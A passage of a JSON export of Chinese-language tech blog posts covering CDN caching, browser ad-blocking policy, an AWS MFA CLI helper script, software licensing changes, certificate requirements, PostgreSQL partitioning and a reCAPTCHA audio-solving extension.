    "body": "在「<a href=\"https://blog.cloudflare.com/introducing-concurrent-streaming-acceleration/\">Live video just got more live: Introducing Concurrent Streaming Acceleration</a>」這邊 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 說明他們改善了同時下載同一個 cache-miss 檔案時的效率。\r\n\r\n本來的架構在 cache-miss 時，CDN 這端會先取得 exclusive lock，然後到 origin server 抓檔案。如果這時候有其他人也要抓同一個檔案，就會先卡住，避免同時間對 origin server 產生大量連線：\r\n\r\n<img src=\"https://i.gslin.com/imgur/GnRPWWh.jpg\" alt=\"\" />\r\n\r\n這個架構在一般的情況下其實還 ok，就算是 Windows Update 這種等級的量，畢竟就是一次性的情況而已。但對於現代愈來愈普及的 HTTP(S) streaming 技術來說，因為檔案一直產生，這就會是常常遇到的問題了。\r\n\r\n由於 lock 機制增加了不少延遲，所以在使用者端就需要多抓一些緩衝時間才能確保品質，這增加了直播的互動延遲，所以 Cloudflare 改善了這個部分，讓所有人都可以同時下載，而非等到發起的使用者下載完才能下載：\r\n\r\n<img src=\"https://i.gslin.com/imgur/2JTh4sl.jpg\" alt=\"\" />\r\n\r\n沒有太多意外的，從 Cloudflare 內部數字可以看出來這讓 lock 時間大幅下降，對於使用者來說也大幅降低了 TTFB (time to first byte)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/R7Z8CUh.webp\" /><img src=\"https://i.gslin.com/imgur/R7Z8CUh.jpg\" alt=\"\" /></picture>\r\n\r\n不確定其他家的情況...",
    "title": "Cloudflare 改善了同時下載同一個檔案的效率..."
  },
  {
    "id": "9021",
    "body": "然後在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上被酸爆了：「<a href=\"https://news.ycombinator.com/item?id=20040485\">Open-sourcing the Lightning Web Components framework (salesforce.com)</a>」。引用的原文在「<a href=\"https://developer.salesforce.com/blogs/2019/05/introducing-lightning-web-components-open-source.html\">Introducing Lightning Web Components Open Source</a>」這邊。\r\n\r\n主要還是大家已經厭倦前端一直丟東西出來，但是速度一直都沒什麼改善... 用傳統的 server rendering 反而省了不少 client 端的 CPU resource。\r\n\r\n話說回來，前幾天的伺服器爆炸好像沒看到什麼後續新聞... (參考「<a href=\"https://www.reddit.com/r/salesforce/comments/bpq336/salesforce_enables_modify_all_in_all_user_profiles/\">Salesforce enables modify all in all user profiles</a>」、「<a href=\"https://www.ithome.com.tw/news/130753\">Salesforce系統更新意外造成權限擴張，用戶服務被迫中斷</a>」)。",
    "title": "Salesforce 弄了一個新的玩意出來..."
  },
  {
    "id": "9022",
    "body": "所以發現很多時候用 2x 的圖片就夠了？：「<a href=\"https://blog.twitter.com/engineering/en_us/topics/infrastructure/2019/capping-image-fidelity-on-ultra-high-resolution-devices.html\">Capping image fidelity on ultra-high resolution devices</a>」。\r\n\r\n會這樣討論主要是發現螢幕特性：\r\n\r\n<blockquote>The most modern screens are OLED. These screens boast some really great features like pure blacks, and are marketed as 3x scale. However, nearly no \"3x scale\" OLED actually has perfect 3x3 pixels per dot on their screen.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4dvz2yX.webp\" /><img src=\"https://i.gslin.com/imgur/4dvz2yX.jpg\" alt=\"\" /></picture>\r\n\r\n因為螢幕不是真的到 3x 的要求，丟 2x 的圖片出去就好，省頻寬又省下載時間：\r\n\r\n<blockquote>This means that most OLED screens that say they are 3x resolution, are actually 3x in the green color, but only 1.5x in the red and blue colors. Showing a 3x resolution image in the app vs a 2x resolution image will be visually the same, though the 3x image takes significantly more data. Even true 3x resolution screens are wasteful as the human eye cannot see that level of detail without something like a magnifying glass.</blockquote>\r\n\r\n省下 38% 的資料量，32% 的時間：\r\n\r\n<blockquote>There's no difference that the human eye can see, but will save 38% on data and 32% on latency on the capped image load for this particular example which is reflective of most images that load on Twitter.</blockquote>\r\n\r\n這也另外帶出了其他的想法，如果沒有太多時間研究的話，可以考慮先提供 2x 的就好，不需要特地做 3x 的版本...",
    "title": "Twitter 對 2x 與 3x 的圖片的研究..."
  },
  {
    "id": "9023",
    "body": "一月的時候 <a href=\"https://www.google.com/\">Google</a> 就提出了「Manifest V3」，打算閹掉 extension 透過 <a href=\"https://developer.chrome.com/extensions/webRequest\">webRequest</a> 攔截連線的能力，而這個功能就是 <a href=\"https://en.wikipedia.org/wiki/uBlock_Origin\">uBlock Origin</a> 這類 ad blocker 的基礎。\r\n\r\n當時 Google 宣稱 webRequest 嚴重影響瀏覽器效能，但 <a href=\"https://www.ghostery.com/\">Ghostery</a> 的團隊則做了實驗證明影響極小：「<a href=\"https://www.ghostery.com/blog/ghostery-news/ad-blocker-performance-study-in-response-to-manifest-v3-finds-that-ghosterys-ad-blocker-beats-the-competition/\">Ad blocker performance study in response to Manifest V3 finds that Ghostery's ad blocker beats the competition</a>」、「<a href=\"https://www.ithome.com.tw/news/128798\">Google遭證據打臉，廣告封鎖程式幾乎不影響Chrome效能</a>」。\r\n\r\n<blockquote>All content-blockers except DuckDuckGo have sub-millisecond median decision time per request.</blockquote>\r\n\r\n另外在 <a href=\"https://en.wikipedia.org/wiki/Alphabet_Inc.\">Alphabet</a> (Google 母公司) 遞交給美國證管會的資料 (FORM 10-K) 可以看到他們把 ad blocker 視為威脅：「<a href=\"https://www.sec.gov/Archives/edgar/data/1652044/000165204419000004/goog10-kq42018.htm\">goog10-kq42018.htm</a>」。\r\n\r\n<blockquote>New and existing technologies could affect our ability to customize ads and/or could block ads online, which would harm our business.\r\n\r\nTechnologies have been developed to make customizable ads more difficult or to block the display of ads altogether and some providers of online services have integrated technologies that could potentially impair the core functionality of third-party digital advertising. Most of our Google revenues are derived from fees paid to us in connection with the display of ads online. As a result, such technologies and tools could adversely affect our operating results.</blockquote>\r\n\r\n所以後續的行為就很清楚了，他們決定 Manifest V3 還是會閹掉 webRequest (以有效抑制 ad blocker 的能力，反正繼續堅持效能問題，當作沒聽到)，只開放企業版本使用：「<a href=\"https://9to5google.com/2019/05/29/chrome-ad-blocking-enterprise-manifest-v3/\">Google to restrict modern ad blocking Chrome extensions to enterprise users</a>」。\r\n\r\n在 <a href=\"https://www.mozilla.org/\">Mozilla</a> 愈來愈不成氣候的情況下，現在要看的戲應該是 Google 是否會因此受到 anti-trust 的挑戰呢...",
    "title": "所以 Google 要對 ad blocker 全面宣戰了..."
  },
  {
    "id": "9024",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 可以設定 <a href=\"https://aws.amazon.com/iam/\">IAM</a> 使用者強制使用 MFA (包括 API 的操作)，在這種情況下如果要使用 <a href=\"https://aws.amazon.com/cli/\">AWS Command Line Interface</a> 就得透過 <a href=\"https://docs.aws.amazon.com/STS/latest/APIReference/Welcome.html\">AWS STS</a> (AWS Security Token Service) 產生另外一組 key + secret + session key，然後這組通行時間預設是 12 小時。\r\n\r\n相關的文章可以參考「<a href=\"https://aws.amazon.com/premiumsupport/knowledge-center/authenticate-mfa-cli/\">How do I use an MFA token to authenticate access to my AWS resources through the AWS CLI?</a>」這篇，然後我就寫了一段 shell script 來做這件事情。\r\n\r\n首先是在 <code>~/.aws/config</code> 內放入 MFA 的 ARN，像是這樣：\r\n\r\n<small><pre>[profile mycompany]\r\nmfa = arn:aws:iam::012345678901:mfa/gslin\r\nregion = us-east-1</pre></small>\r\n\r\n然後就可以用 <code>aws.mfa mycompany</code> 指令產生出一個會把 key + secret + session key 包進去的 shell：\r\n\r\n<small><pre>function aws.mfa() {\r\n    local MFA_ARN\r\n    local MFA_TOKEN\r\n    local PROFILE=\"$1\"\r\n    local STSDATA\r\n\r\n    MFA_ARN=\"$(python3 -c \"import configparser; import os; c=configparser.ConfigParser(); c.read('{}/.aws/config'.format(os.environ['HOME'])); print(c['profile ${PROFILE}']['mfa'])\")\r\n\"\r\n    echo \"Reading ${PROFILE} and going for token ${MFA_ARN} ...\"\r\n\r\n    echo -n 'MFA Password: '\r\n    read -r MFA_TOKEN\r\n\r\n    STSDATA=\"$(aws --profile \"${PROFILE}\" sts get-session-token --serial-number \"${MFA_ARN}\" --token-code \"${MFA_TOKEN}\")\"\r\n    export AWS_ACCESS_KEY_ID=\"$(echo \"${STSDATA}\" | jq -r .Credentials.AccessKeyId)\"\r\n    export AWS_SECRET_ACCESS_KEY=\"$(echo \"${STSDATA}\" | jq -r .Credentials.SecretAccessKey)\"\r\n    export AWS_SESSION_TOKEN=\"$(echo \"${STSDATA}\" | jq -r .Credentials.SessionToken)\"\r\n\r\n    echo 'Running an independant shell...'\r\n    ${SHELL}\r\n}</pre></small>\r\n\r\n很明顯的裡面用到了 <a href=\"https://www.python.org/\">Python</a> 3 與 <a href=\"https://stedolan.github.io/jq/\">jq</a>，這兩個應該都可以直接裝系統的版本就可以了。\r\n\r\n後續的操作就跟原來的用法都一樣，像是 <code>aws --region=us-east-1 s3 ls</code> 這樣的指令。",
    "title": "在 AWS 強制使用 MFA 的情況下，透過 CLI 操作"
  },
  {
    "id": "9025",
    "body": "<a href=\"https://www.cockroachlabs.com/\">CockroachDB</a> 的主力在於 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的相容層 (包括底層資料結構，SQL 語法，以及 Protocol，所以原有的 client 不需要太多修改就可以用)，並且提供橫向擴充的能力 (實作類似於 F1 與 Spanner 這些論文的功能)。\r\n\r\n現在他們也宣佈拋棄 Open Source License 了，從本來的 <a href=\"https://en.wikipedia.org/wiki/Apache_License_2.0\">Apache License 2.0</a> 轉為他們自己定義的 Business Source License：「<a href=\"https://www.cockroachlabs.com/blog/oss-relicensing-cockroachdb/\">Why We’re Relicensing CockroachDB</a>」。\r\n\r\n最大的差異就是擋提供服務：\r\n\r\n<blockquote>The one and only thing that you cannot do is offer a commercial version of CockroachDB as a service without buying a license.</blockquote>\r\n\r\n商業版本最終會以 open source license 釋出，但會有三年延遲 (以現在的社群速度，基本上就等於不提供了)，不算太意外，但這樣的話也需要先從可用的列表上移除了...",
    "title": "CockroachDB 也拋棄 Open Source  License 了"
  },
  {
    "id": "9026",
    "body": "這次 <a href=\"https://en.wikipedia.org/wiki/WWDC\">WWDC</a> 推出的新功能，已經有人在討論機制與隱私問題了：「<a href=\"https://blog.cryptographyengineering.com/2019/06/05/how-does-apple-privately-find-your-offline-devices/\">How does Apple (privately) find your offline devices?</a>」。\r\n\r\n前一代的「<a href=\"https://en.wikipedia.org/wiki/Find_My_iPhone\">Find my iPhone</a>」需要透過網路與 GPS 資料才能在系統上看到，這一代則是加上 <a href=\"https://en.wikipedia.org/wiki/Bluetooth_Low_Energy\">BLE</a> beacon，然後任何一台 <a href=\"https://www.apple.com/ios/\">iOS</a> device 收到後就回傳回給蘋果：\r\n\r\n<blockquote>Every active iPhone will continuously monitor for BLE beacon messages that might be coming from a lost device. When it picks up one of these signals, the participating phone tags the data with its own current GPS location; then it sends the whole package up to Apple’s servers.</blockquote>\r\n\r\n幾個隱私問題在於，代傳的 iOS device 也會暴露位置資訊給蘋果，另外收到 BLE beacon 的 iOS device 本身是否可以解讀遺失機器的資訊？而商家看起來也可以利用這個方式主動發送攻擊而得知\b不少資料 (像是文章裡提到先前蘋果透過 randomize mac address 加強隱私的問題，這邊又多開了一個洞)，現在蘋果給的資訊還不夠清楚，需要真的逆向工程確認才知道...",
    "title": "Apple 新的「Find My」帶來的隱私問題"
  },
  {
    "id": "9029",
    "body": "雖然 <a href=\"https://en.wikipedia.org/wiki/GNU_Affero_General_Public_License\">AGPL</a> 系列的確不是什麼好貨色，也的確有不少人批評過，但 <a href=\"https://squareup.com/\">Square</a> 直接透過自家的平台服務攻擊 AGPLv3+ 就很稀奇了？\r\n\r\n在「<a href=\"https://news.ycombinator.com/item?id=20112476\">Square’s terms of service forbid use of AGPL-licensed software in online stores (squareup.com)</a>」這邊看到的，公告的條款 (尚未生效) 是「<a href=\"https://squareup.com/us/en/legal/general/pos\">Additional Point of Sale Terms of Service</a>」這個站台，出自於這段：\r\n\r\n<blockquote>B. Content Restrictions. In addition to the restrictions set forth in these Additional Product Terms, the General Terms and Payment Terms, you will not:\r\n\r\n[...]\r\n\r\n15. use, under any circumstance, any open source software subject to the GNU Affero General Public License v.3, or greater;</blockquote>\r\n\r\n是直接指名而不是誤殺，不知道是發生什麼事情...\r\n\r\n現在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有些人猜測是律師團認為 AGPL 會反過來影響 Square 自己的程式碼也被感染？反正現在變成 PR 事件了，加上資訊也不足，先蹲著看...",
    "title": "Square 在使用條款裡禁止 AGPLv3+ 的軟體"
  },
  {
    "id": "9030",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 推出 <a href=\"https://en.wikipedia.org/wiki/Automated_Certificate_Management_Environment\">ACME</a>v2 後要終止 ACMEv1 的計畫，是今年三月發的消息，但一直沒注意到，剛剛翻到「<a href=\"https://undeadly.org/cgi?action=article;sid=20190607120620\">acme-client(1) moves to Let's Encrypt v02 API</a>」時才看到的：「<a href=\"https://community.letsencrypt.org/t/end-of-life-plan-for-acmev1/88430\">End of Life Plan for ACMEv1</a>」。\r\n\r\n日落分成幾個階段，第一個階段是今年十一月終止透過 ACMEv1 註冊新帳號：\r\n\r\n<blockquote>In November of 2019 we will stop allowing new account registrations through our ACMEv1 API endpoint. Existing accounts will continue to function normally.</blockquote>\r\n\r\n第二個階段是明年六月終止透過 ACMEv1 申請新的 certificate：\r\n\r\n<blockquote>In June of 2020 we will stop allowing new domains to validate via ACMEv1.</blockquote>\r\n\r\n第三個階段是 2021 年會開始測試關閉 ACMEv1 的 renew 功能，一個月不會超過一次，每次大約 24 小時，這是讓 client 有機會丟出錯誤訊息：\r\n\r\n<blockquote>Starting at the beginning of 2021 we will occasionally disable ACMEv1 issuance and renewal for periods of 24 hours, no more than once per month (OCSP service will not be affected).</blockquote>\r\n\r\n最後的階段是 2021 年的六月，會完全關閉 ACMEv1 所有的服務：\r\n\r\n<blockquote>In June of 2021 we will entirely disable ACMEv1 as a viable way to get a Let’s Encrypt certificate.</blockquote>\r\n\r\n目前在用的都支援 ACMEv2 了，應該是 ok...",
    "title": "Let's Encrypt 的 ACMEv1 將在今年十一月進入日落階段"
  },
  {
    "id": "9031",
    "body": "從 beta 版的 release note 可以看到 <a href=\"https://www.apple.com/macos/\">macOS</a> 打算在 10.15 移除 <a href=\"https://www.perl.org/\">Perl</a>、<a href=\"https://www.python.org/\">Python</a> 與 <a href=\"https://www.ruby-lang.org/\">Ruby</a>：「<a href=\"https://developer.apple.com/documentation/macos_release_notes/macos_10_15_beta_release_notes\">macOS 10.15 Beta Release Notes</a>」。\r\n\r\n<blockquote>Scripting language runtimes such as Python, Ruby, and Perl are included in macOS for compatibility with legacy software. Future versions of macOS won’t include scripting language runtimes by default, and might require you to install additional packages. If your software depends on scripting languages, it’s recommended that you bundle the runtime within the app. (49764202)</blockquote>\r\n\r\n看起來會另外包一份出來... 不過這樣內建的工具就少了些，雖然 shell script 是 turing machine... :o",
    "title": "macOS 打算移除 Perl/Python/Ruby"
  },
  {
    "id": "9034",
    "body": "<a href=\"https://zh.wikipedia.org/wiki/%E8%87%AA%E7%94%A2%E7%94%9F%E7%A8%8B%E5%BC%8F\">自產生程式</a>，或是更常用的英文名 <a href=\"https://en.wikipedia.org/wiki/Quine_(computing)\">Quine</a> 指的是「程式輸出的結果」與「程式碼本身」相同的程式，算是一種趣味性的程式...\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=20094866\">Show HN: This page is a truly naked, brutalist HTML quine (secretgeek.github.io)</a>」這個連結，裡面是 HTML 版的 Quine，原始網頁在「<a href=\"https://secretgeek.github.io/html_wysiwyg/html.html\">This page is a truly naked, brutalist html quine.</a>」，頁面長這樣 (取前面的部份)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cWPiejZ.webp\" /><img src=\"https://i.gslin.com/imgur/cWPiejZ.jpg\" alt=\"\" /></picture>\r\n\r\n你在網頁上看到的所有文字，就是程式碼本身 (有一個小地方例外，可以直接看原始碼確認)，而且這個 HTML 還說明怎麼做到這件事情。\r\n\r\n裡面是一層一層解，第一個提到的是 <code>* { display:block; }</code>，這使得所有的元素都會顯示出來，包括了像是 <code>&lt;title&gt;</code> 這樣本來放在 <code>&lt;head&gt;</code> 裡的元素。\r\n\r\n唯一的例外是 <code>&lt;style&gt;</code> 本身避不開：\r\n\r\n<blockquote>The only other style that is special is \"style\" itself, which has to include an escape character to avoid being taken literally.</blockquote>\r\n\r\n翻了一下 Hacker News 裡的討論，大家都還蠻欣賞的，主要是有些感嘆很有趣，像是說這個網站的可讀性反而比其他新聞站台好很多：\r\n\r\n<blockquote>This is more readable than many news websites I've come across</blockquote>\r\n\r\n話說回來，我對新聞類的網站還蠻喜歡關掉 javascript 的，通常效果都很好...",
    "title": "自產生程式的 HTML 版：看到的頁面就是 HTML 程式碼"
  },
  {
    "id": "9037",
    "body": "看到 <a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2019/05/24/an-overview-of-sharding-in-postgresql-and-how-it-relates-to-mongodbs/\">An Overview of Sharding in PostgreSQL and How it Relates to MongoDB’s</a>」這篇，雖然是在講 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 上的 sharding (以及 partition)，突然想到好像沒寫過要怎麼避免大量刪除資料的操作...\r\n\r\n一個常見的情境是，想要讓某個表格只保留這一個月的資料，所以每個月開頭都會跑一隻 cron job 負責刪掉上個月的資料，像是 <code>DELETE FROM xxx WHERE timestamp &lt; yyy;</code> 這樣的指令。\r\n\r\n這個方式無論是在 PostgreSQL 或是 <a href=\"https://dev.mysql.com/\">MySQL</a> 都需要很多時間與 I/O 資源，而透過 partition 將不同時間區段切開到不同的表格，再用 <code>TRUNCATE</code> 直接清空表格剛好可以解這樣的問題。\r\n\r\nPercona 的文章裡說了一些 PostgreSQL 的歷史與目前的進展。\r\n\r\n在 PostgreSQL 9 或更早以前的版本，一個常見的作法是透過 table inheritance 實做 partition，然後用再用 function 實做 <code>INSERT</code>：\r\n\r\n<pre>CREATE TABLE temperature (\r\n  id BIGSERIAL PRIMARY KEY NOT NULL,\r\n  city_id INT NOT NULL,\r\n  timestamp TIMESTAMP NOT NULL,\r\n  temp DECIMAL(5,2) NOT NULL\r\n);\r\n\r\nCREATE TABLE temperature_201901 (CHECK (timestamp &gt;= DATE '2019-01-01' AND timestamp &lt;= DATE '2019-01-31')) INHERITS (temperature);\r\nCREATE TABLE temperature_201902 (CHECK (timestamp &gt;= DATE '2019-02-01' AND timestamp &lt;= DATE '2019-02-28')) INHERITS (temperature);\r\nCREATE TABLE temperature_201903 (CHECK (timestamp &gt;= DATE '2019-03-01' AND timestamp &lt;= DATE '2019-03-31')) INHERITS (temperature);\r\n\r\nCREATE OR REPLACE FUNCTION temperature_insert_trigger()\r\nRETURNS TRIGGER AS $$\r\nBEGIN\r\n    IF ( NEW.timestamp &gt;= DATE '2019-01-01' AND NEW.timestamp &lt;= DATE '2019-01-31' ) THEN INSERT INTO temperature_201901 VALUES (NEW.*);\r\n    ELSIF ( NEW.timestamp &gt;= DATE '2019-02-01' AND NEW.timestamp &lt;= DATE '2019-02-28' ) THEN INSERT INTO temperature_201902 VALUES (NEW.*);\r\n    ELSIF ( NEW.timestamp &gt;= DATE '2019-03-01' AND NEW.timestamp &lt;= DATE '2019-03-31' ) THEN INSERT INTO temperature_201903 VALUES (NEW.*);\r\n    ELSE RAISE EXCEPTION 'Date out of range!';\r\n    END IF;\r\n    RETURN NULL;\r\nEND;\r\n$$\r\nLANGUAGE plpgsql;</pre>\r\n\r\n在 PostgreSQL 10 之後，就直接支援一些與 partition 相關的設計，像是這樣：\r\n\r\n<pre>CREATE TABLE temperature (\r\n  id BIGSERIAL NOT NULL,\r\n  city_id INT NOT NULL,\r\n  timestamp TIMESTAMP NOT NULL,\r\n  temp DECIMAL(5,2) NOT NULL\r\n) PARTITION BY RANGE (timestamp);\r\n\r\nCREATE TABLE temperature_201901 PARTITION OF temperature FOR VALUES FROM ('2019-01-01') TO ('2019-02-01');\r\nCREATE TABLE temperature_201902 PARTITION OF temperature FOR VALUES FROM ('2019-02-01') TO ('2019-03-01');\r\nCREATE TABLE temperature_201903 PARTITION OF temperature FOR VALUES FROM ('2019-03-01') TO ('2019-04-01');</pre>\r\n\r\n雖然還是有些限制，但可以看出比起以前簡單不少。\r\n\r\n而有了 partition 後，文章的後續就在討論這跟 <a href=\"https://www.mongodb.com/\">MongoDB</a> 的 sharding 有什麼關係，但這就不是我關注的事情了...",
    "title": "在 SQL 裡面避免大量刪除資料的方式"
  },
  {
    "id": "9038",
    "body": "在 <a href=\"https://slack.com/\">Slack</a> 上看到同事丟出來的，關於之後要推出的 <a href=\"https://www.apple.com/ios/\">iOS</a> 13 與 <a href=\"https://www.apple.com/macos/\">macOS</a> 10.15 會對憑證限制的項目：「<a href=\"https://support.apple.com/en-us/HT210176\">Requirements for trusted certificates in iOS 13 and macOS 10.15</a>」。\r\n\r\n主要是把不安全的演算法淘汰掉 (RSA 小於 2048 bits，以及 SHA-1 類的 hash algorithm)，這兩個部份相關的新聞應該不少，沒有什麼太大問題：\r\n\r\n<blockquote>TLS server certificates and issuing CAs using RSA keys must use key sizes greater than or equal to 2048 bits. Certificates using RSA key sizes smaller than 2048 bits are no longer trusted for TLS.</blockquote>\r\n\r\n<blockquote>TLS server certificates and issuing CAs must use a hash algorithm from the SHA-2 family in the signature algorithm. SHA-1 signed certificates are no longer trusted for TLS.</blockquote>\r\n\r\n然後是要求憑證使用 SAN (<a href=\"https://en.wikipedia.org/wiki/Subject_Alternative_Name\">Subject Alternative Name</a>)，舊的標準 CN (CommonName) 將不會再被信任。\r\n\r\n如果是公開簽發的憑證應該都沒問題 (像是 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a>，或是花錢買的那些)，主要的問題應該會出現在自己建立的憑證，網路上蠻多舊資料還是產生 CN...\r\n\r\n<blockquote>TLS server certificates must present the DNS name of the server in the Subject Alternative Name extension of the certificate. DNS names in the CommonName of a certificate are no longer trusted.</blockquote>\r\n\r\n另外是 2019/7/1 之後發出的憑證，有額外兩個規範要注意，第一個是強制要透過 EKU 指定 <code>id-kp-serverAuth</code>，這是出自 <a href=\"https://tools.ietf.org/html/rfc5280\">RFC 5280</a>：\r\n\r\n<pre>   id-kp-serverAuth             OBJECT IDENTIFIER ::= { id-kp 1 }\r\n   -- TLS WWW server authentication\r\n   -- Key usage bits that may be consistent: digitalSignature,\r\n   -- keyEncipherment or keyAgreement</pre>\r\n\r\n<blockquote>TLS server certificates must contain an ExtendedKeyUsage (EKU) extension containing the id-kp-serverAuth OID.</blockquote>\r\n\r\n再來是時間的限制，接下來的憑證最長只認得 825 天 (大約 27 個月多一些)，以前都惡搞 <code>-days 3650</code>，現在得兩年簽一次了：\r\n\r\n<blockquote>TLS server certificates must have a validity period of 825 days or fewer (as expressed in the NotBefore and NotAfter fields of the certificate).</blockquote>\r\n\r\n整體看起來主要是影響自己簽的部份...",
    "title": "iOS 13 與 macOS 10.15 對憑證的限制"
  },
  {
    "id": "9040",
    "body": "<a href=\"https://www.salesforce.com/\">Saleforce</a> 打算要買下 <a href=\"https://www.tableau.com/\">Tableau</a>...\r\n\r\n兩邊簽了協議並且都發了新聞稿出來，分別是 Salesforce 的：「<a href=\"https://www.salesforce.com/company/news-press/press-releases/2019/06/191006-f/\">Salesforce Signs Definitive Agreement to Acquire Tableau</a>」，以及 Tableau 的：「<a href=\"https://www.tableau.com/about/blog/2019/6/blog-1-110508\">Salesforce Signs Definitive Agreement to Acquire Tableau</a>」。\r\n\r\n這兩家都是掛在 NYSE 的公司，而這次的併購會直接以股票交易 (Tableau 的 1 股換 Salesforce 的 1.103 股，看起來是基於這三天股價計算)：\r\n\r\n<blockquote>SAN FRANCISCO, Calif. and SEATTLE, Wash. — June 10, 2019 -- Salesforce (NYSE:CRM), the global leader in CRM, and Tableau Software (NYSE: DATA), the leading analytics platform, have entered into a definitive agreement under which Salesforce will acquire Tableau in an all-stock transaction, pursuant to which each share of Tableau Class A and Class B common stock will be exchanged for 1.103 shares of Salesforce common stock, representing an enterprise value of $15.7 billion (net of cash), based on the trailing 3-day volume weighted average price of Salesforce's shares as of June 7, 2019.</blockquote>\r\n\r\nSalesforce 想要買 Tableau 是個蠻意外的新聞...",
    "title": "Salesforce 打算買 Tableau"
  },
  {
    "id": "9042",
    "body": "先前提到的「<a href=\"https://blog.gslin.org/archives/2019/05/30/9023/%e6%89%80%e4%bb%a5-google-%e8%a6%81%e5%b0%8d-ad-blocker-%e5%85%a8%e9%9d%a2%e5%ae%a3%e6%88%b0%e4%ba%86/\">所以 Google 要對 ad blocker 全面宣戰了...</a>」，現在朝著幾個方向在發展：一個是寄託在反托拉斯法的部份，另外一個是市場的替代方案。\r\n\r\n<a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 算是常被提出來的替代方案，但 Firefox 的流暢度比 Chromium 差了一大截，所以目前主要的替代方案應該還是在各家使用 <a href=\"https://www.chromium.org/\">Chromium</a> 核心的瀏覽器身上。\r\n\r\nZDNet 詢問了這些瀏覽器的人，大多數都表態會維持 <code>webRequest</code> 的原來運作：「<a href=\"https://www.zdnet.com/article/opera-brave-vivaldi-to-ignore-chromes-anti-ad-blocker-changes-despite-shared-codebase/\">Opera, Brave, Vivaldi to ignore Chrome's anti-ad-blocker changes, despite shared codebase</a>」。\r\n\r\n目前只剩下剛換到 Chromium 核心的 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Edge\">Microsoft Edge</a> 還沒有回應 <a href=\"https://www.zdnet.com/\">ZDNet</a>。\r\n\r\n先繼續看看吧...",
    "title": "其他用 Chromium 核心的瀏覽器不打算跟進 webRequest 的修改"
  },
  {
    "id": "9043",
    "body": "<a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 打算要推出 Firefox Premium：「<a href=\"https://thenextweb.com/apps/2019/06/10/mozilla-will-reportedly-launch-a-paid-version-of-firefox-this-fall/\">Mozilla will reportedly launch a paid version of Firefox this fall</a>」。\r\n\r\n現有的功能仍然會維持免費，所以目前猜測 Firefox Premium 應該是把附加服務包起來變成月費包裝：\r\n\r\n<blockquote>So, what we want to clarify is that there is no plan to charge money for things that are now free. So we will roll out a subscription service and offer a premium level. And the plan is to introduce the first one this year, towards fall. We aim for October.</blockquote>\r\n\r\n目前有提到的是 VPN，先前 <a href=\"https://www.mozilla.org/\">Mozilla</a> 有跟 <a href=\"https://protonvpn.com/\">ProtonVPN</a> 合作，有可能會在接下來的 Firefox Premium 也一起合作...\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=20145344\">Mozilla will reportedly launch a paid version of Firefox this fall (thenextweb.com)</a>」有些值得看一下...\r\n\r\n其中一個討論的主題是，既然以 Firefox 當作招牌打包，那麼本來免費時的某些行為大家還可以「忍受」，到了付費版的時候就不是這樣了...\r\n\r\n既然目標是十月，先放著吧... 後續應該會有其他的新聞。",
    "title": "Firefox Premium"
  },
  {
    "id": "9045",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2017/03/05/7167/%E7%94%A8-google-%E7%9A%84-speech-recognition-api-%E7%A0%B4-google-%E7%9A%84-recaptcha/\">用 Google 的 Speech Recognition API 破 Google 的 reCAPTCHA</a>」與「<a href=\"https://blog.gslin.org/archives/2019/01/08/8664/recaptcha-%E8%88%87%E8%AA%9E%E9%9F%B3%E8%BE%A8%E8%AD%98%EF%BC%9A%E4%BB%A5%E5%AD%90%E4%B9%8B%E7%9F%9B%EF%BC%8C%E6%94%BB%E5%AD%90%E4%B9%8B%E7%9B%BE/\">reCAPTCHA 與語音辨識：以子之矛，攻子之盾</a>」都提過用語音辨識功能破 <a href=\"https://en.wikipedia.org/wiki/ReCAPTCHA\">reCAPTCHA</a>，現在又有一套了，而且直接在各瀏覽器的 extension 平台上架：「<a href=\"https://github.com/dessant/buster\">Buster: Captcha Solver for Humans</a>」。\r\n\r\n說明可以看到一樣是透過聲音的部份辨識：\r\n\r\n<blockquote>Buster is a browser extension which helps you to solve difficult captchas by completing reCAPTCHA audio challenges using speech recognition. Challenges are solved by clicking on the extension button at the bottom of the reCAPTCHA widget.</blockquote>\r\n\r\n除了安裝很簡單以外，設定也弄得很簡單，這個套件支援多種不同語音辨識 API，包括 <a href=\"https://www.google.com/\">Google</a>、<a href=\"https://www.microsoft.com/\">Microsoft</a> 以及 <a href=\"https://www.ibm.com/\">IBM</a> 的服務，只要在套件的設定頁輸入 API key 就可以了...\r\n\r\n另外剛好也跟 reCAPTCHA 有關，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=20147015\">Google's Captcha in Firefox vs. in Chrome (grumpy.website)</a>」看到 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 與 Mozilla <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 在跑 reCAPTCHA 的不同之處 (Chrome 的流程順很多，Firefox 卡很多)，不過我覺得證據還有點弱，需要再看其他的測試...\r\n\r\n另外裡面有提到一些奇怪的東西，像是 <a href=\"https://www.w3.org/\">W3C</a> 的替代方案 (這個組織提的東西...)：「<a href=\"https://www.w3.org/TR/turingtest/\">Inaccessibility of CAPTCHA</a>」，找時間來研究一下...",
    "title": "破 reCAPTCHA 的 Buster"
  },
  {
    "id": "9047",
